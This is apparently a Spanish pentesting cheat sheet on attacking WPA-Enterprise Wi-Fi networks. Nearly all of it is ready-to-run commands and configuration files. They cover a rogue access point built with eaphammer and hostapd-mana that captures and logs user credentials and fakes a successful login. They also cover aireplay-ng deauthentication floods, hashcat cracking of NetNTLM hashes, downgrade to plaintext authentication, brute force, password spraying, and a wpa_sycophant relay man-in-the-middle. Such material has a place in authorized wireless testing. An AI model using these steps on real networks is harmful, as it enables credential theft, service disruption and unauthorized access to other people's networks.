Redes MGT

Redes WPA-MGT

1. Obtención de información

Usando los filtros de Wireshark podemos conocer:

1.1. Identificación de usuarios de la red

Los identificadores que los usuarios usan para autenticarse en la red:

eap.identity
eapol.identity

Después buscamos en el detalle de los paquetes Identity.Response:

  • 802.1X Authentication > Extensible Authentication Protocol > Identity

1.2. Identificación del certificado del servidor

El certificado usado por el servidor RADIUS:

tls.handshake.certificate

Después buscamos en el detalle:

  • TLSv1 Record Layer > Handshake Protocol > Certificate

Para guardar el certificado:

Click derecho sobre el string del certificado > Export Packet Bytes

2. Autenticación del servidor RADIUS

Es posible conocer los métodos de autenticación que acepta el servidor RADIUS, no sólo para analizarlos, sino de cara a futuras pruebas.

Para ello debemos usar un usuario existente.

cd EAP_buster/
bash ./EAP_buster.sh [ESSID] 'dominio\usuario' [wlan0mon]

3. Obtener credenciales de usuarios

Para obtener contraseñas de usuarios existentes en la red vamos a seguir estos pasos:

  1. Generamos un certificado auto-firmado (si es con información similar a la red que queremos suplantar, será más real a los clientes que se conectarán posteriormente)

cd eaphammer/
python3 ./eaphammer --cert-wizard
  1. Levantamos un Rogue AP suplantando a la red legítima

python3 ./eaphammer -i [wlan1] --auth wpa-eap --essid [ESSID] --creds --negotiate balanced
  1. Para forzar que los clientes de la red se conecten a nuestro AP, identificamos los puntos de acceso de la red que tienen clientes conectados, y los des-autenticamos

aireplay-ng -0 0 -a [APDeLaRedVictima] [wlan0mon]
  1. Cuando los clientes se conectan a nuestro AP, compartirán su hash NETNTLM, y para crackearlo usaremos

hashcat -a 0 -m 5500 hash_file ~/rockyou.txt --force

4. Downgrade de autenticación

Si el servidor RADIUS acepta métodos de autenticación poco robustos, esta prueba nos permite obtener las credenciales de usuarios en texto plano.

Esto lo conseguimos levantando un punto de acceso falso, y forzando que las conexiones se realicen usando el método de autenticación más débil.

python3 ./eaphammer -i [wlan1] --auth wpa-eap --essid [ESSID] --creds --negotiate weakest

Se pueden des-autenticar a los clientes conectados a un AP para forzar que se conecten al nuestro

aireplay-ng -0 0 -a [APDeLaRedVictima] [wlan0mon]

Y cuando los clientes se conecten a nuestro AP, será usando su contraseña en texto plano.

5. Fuerza bruta para obtener contraseñas

Para esta prueba necesitamos indicar la MAC de la red víctima (ESSID), la ruta donde tenemos el diccionario que vamos a usar, y el usuario (además de la interfaz de red)

cd air-hammer/
./air-hammer.py -i [wlan1] -e [ESSID] -p [diccionario] -u [usuario]

6. Password Spraying a un listado de usuarios

Hay organizaciones que usan contraseñas con patrones conocidos (como por ejemplo Empresa.1, primavera2019...), y que facilitan a usuarios poco originales su generación de posteriores contraseñas.

IMPORTANTE En esta prueba hay que tener en cuenta la política de bloqueo de usuarios, ya que si se realiza esta prueba varias veces se podrían bloquear usuarios.

Para este caso necesitamos tener un listado de usuarios válidos

cd air-hammer/
./air-hammer.py -i [wlan1] -e [ESSID] -P [password] -u [listadoDeUsuarios.txt]

7. Relay attack

Esta prueba consiste en realizar un ataque de MiTM, de forma que usaremos el challenge del AP con el cliente que pretende conectarse a la red, interceptando también la respuesta del cliente y reenviándola al punto de acceso legítimo, de forma que cuando se autentique el cliente con el AP legítimo estaremos "en medio" de la conexión.

Para esta prueba usaremos 3 interfaces de red, varias consolas simultáneas, y seguiremos los siguientes pasos:

  1. Identificar el AP de la red al que queremos reenviar las peticiones.

  2. Crear el fichero de configuración wpa_sycophant.conf

network={
  ## Nombre de la red víctima 
  ssid="ESSID"
  scan_ssid=1
  key_mgmt=WPA-EAP
  identity=""
  anonymous_identity=""
  password=""
  eap=PEAP
  phase1="crypto_binding=0 peaplabel=0"
  phase2="auth=MSCHAPV2"
  ## BSSID de nuestro Rogue AP
  bssid_blacklist=[BSSID]
}
  1. Para levantar el AP conectado al wpa_sycophant usaremos berate_ap.

*En el caso de la interfaz con salida a internet, suele ser "eth0", y si usamos alguna VPN "lo".

#Consola 1
cd berate_ap
./berate_ap --eap --mana-wpe --wpa-sycophant --mana-credout outputMana.log [wlan1mon] [InterfazConLaQueTenemosSalidaAInternet] [ESSID]
  1. Hacemos des-autenticación a los clientes del AP legítimo

#Consola 2
aireplay-ng -0 0 [wlan0mon] -a [APDeLaRedVictima]
  1. Levantamos nuestro AP intermediario con wpa_sycophant

#Consola 3
cd wpa_sycophant/
./wpa_sycophant.sh -c wpa_sycophant.conf -i [wlan2]

Debemos esperar a que el cliente se conecte a nuestro AP, y ahí wpa_sycophant se conectará al AP legítimo para iniciar la autenticación.

IMPORTANTE

Si al lanzar wpa_sycophant falla, debemos cambiar en el fichero wpa_sycophant.conf

phase1="peapver=1"

  1. Una vez se conecta el cliente al AP, asignamos una dirección IP

#Consola 4
dhclient [wlan2] -v

8. Suplantar Punto de Acceso (Rogue AP)

Para realizar esta prueba tenemos que tener varios factores en mente:

  1. Debemos crear un certificado (como lo hemos obtenido en el punto 1, lo podemos replicar para que sea menos sospechoso a los clientes). Esta creación la podemos hacer de 2 formas:

openssl x509 -inform der -in CERTIFICATE_FILENAME -text
  1. Crear el servidor RADIUS con la información adecuada.

Modificaremos 2 ficheros de la herramienta freeradius:

  • /etc/freeradius/3.0/certs/ca.cnf

[certificate_authority]
    countryName             = US
    stateOrProvinceName     = {2 letter state}
    localityName            = {City}
    organizationName        = {Company Name}
    emailAddress            = {Email}
    commonName              = "Such and Such Certificate Authority"
  • /etc/freeradius/3.0/certs/server.cnf

[server]
    countryName             = US
    stateOrProvinceName     = {2 letter state}
    localityName            = {City}
    organizationName        = {Company Name}
    emailAddress            = {Email}
    commonName              = "Such and Such Certificate Authority"

Nos cambiamos al directorio /etc/freeradius/3.0/certs/

rm dh && make
  1. Configurar el Rogue AP.

Para ello usaremos hostpad-mana. Cambiamos nuestra ubicación a /etc/hostapd-mana/ (o donde tengamos instalada la herramienta), y modificamos los archivos

  • mana.conf:

# AP SSID
ssid=[BSSID]

interface=[wlan0]
driver=nl80211

# CANAL DONDE SE ENCUENTRA EL AP
channel=[44]

hw_mode=g

# Configurar hostapd como servidor EAP
ieee8021x=1
eap_server=1

eapol_key_index_workaround=0

# EAP user file we created earlier
eap_user_file=/etc/hostapd-mana/mana.eap_user

# Rutas del certificado
ca_cert=/etc/freeradius/3.0/certs/ca.pem
server_cert=/etc/freeradius/3.0/certs/server.pem
private_key=/etc/freeradius/3.0/certs/server.key

# Contraseña de la red
private_key_passwd=[whatever]
dh_file=/etc/freeradius/3.0/certs/dh

# Open authentication
auth_algs=1
# WPA/WPA2
wpa=3
# WPA Enterprise
wpa_key_mgmt=WPA-EAP
wpa_pairwise=CCMP TKIP
mana_wpe=1

# Almacenar credenciales en el fichero
mana_credout=/tmp/hostapd.credout

# Enviar 1 si la conexión EAP ha tenido exito, para que el usuario piense que se ha conectado a la red
mana_eapsuccess=1

# EAP TLS MitM
mana_eaptls=1
  • mana.eap_user

*     PEAP,TTLS,TLS,FAST
"t"   TTLS-PAP,TTLS-CHAP,TTLS-MSCHAP,MSCHAPV2,MD5,GTC,TTLS,TTLS-MSCHAPV2    [pass]
  1. Habilitar Rogue AP

Lanzamos el Rogue AP con hostapd-mana

hostapd-mana /etc/hostapd-mana/mana.conf

9. Conexión a la red

Una vez tenemos credenciales válidas, debemos configurar el fichero wpa_supplicant_ESSID.conf

  ssid=[BSSID]
  scan_ssid=1
  key_mgmt=WPA-EAP
  identity=[Dominion\usuario
  password=[password]
  eap=PEAP
  phase1="peaplabel=0"
  phase2="auth=MSCHAPV2"
}

Con este resultado podremos conectarnos a la red (con la interfaz en modo managed)

wpa_supplicant -c [wpa_supplicant_ESSID.conf] -i [wlan1]

Una vez lanzado este comando, debemos leer los EVENT-SCAN-RESULTS para analizar los posibles fallos en la conexión (CTRL-EVENT-SCAN-FAILED).

Cuanto veamos EVENT-SCAN-CONNECTED habremos conseguido conectarnos a la red.

Una vez conectados debemos solicitar una dirección IP al DHCP.

dhclient [wlan1] -v

Herramientas

Recursos y enlaces de referencia

Last updated